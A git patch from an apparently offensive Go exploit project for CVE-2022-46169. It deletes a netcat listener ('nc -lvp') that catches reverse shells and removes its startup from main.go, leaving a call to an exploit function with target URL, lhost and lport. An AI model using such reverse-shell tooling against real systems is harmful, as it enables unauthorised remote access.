From 838f3f2542ae226e2fe1e95487462b2bfe85840c Mon Sep 17 00:00:00 2001 From: Vomitblood Date: Fri, 24 Jan 2025 11:28:26 +0800 Subject: [PATCH] removed listener, hopeless --- internal/listener/listener.go | 28 ---------------------------- main.go | 10 ---------- 2 files changed, 38 deletions(-) delete mode 100644 internal/listener/listener.go diff --git a/internal/listener/listener.go b/internal/listener/listener.go deleted file mode 100644 index cc9b28a..0000000 --- a/internal/listener/listener.go +++ /dev/null @@ -1,28 +0,0 @@ -package listener - -import ( - "fmt" - "os" - "os/exec" -) - -func startNetcatListener(lport string) { - // Create the command to run netcat as a listener - cli := exec.Command("nc", "-lvp", lport) - - // Set up the output to be printed to the console - cli.Stdout = os.Stdout - cli.Stderr = os.Stderr - - // Run the command - err := cli.Run() - if err != nil { - fmt.Println("Error starting netcat listener:", err) - os.Exit(1) - } -} - -func Listen(lport string) { - fmt.Printf("Starting netcat listener on port %s...\n", lport) - startNetcatListener(lport) -} diff --git a/main.go b/main.go index 7b93638..bd20b58 100644 --- a/main.go +++ b/main.go @@ -1,11 +1,8 @@ package main import ( - "time" - "git.vomitblood.com/Vomitblood/cve-2022-46169/internal/cmd" "git.vomitblood.com/Vomitblood/cve-2022-46169/internal/exploiter" - "git.vomitblood.com/Vomitblood/cve-2022-46169/internal/listener" ) func main() { @@ -14,12 +11,5 @@ func main() { return } - go listener.Listen(lport) - - time.Sleep(1 * time.Second) - exploiter.Exploit(urlTarget, lhost, lport) - - // prevent the main goroutine from exiting immediately - select {} }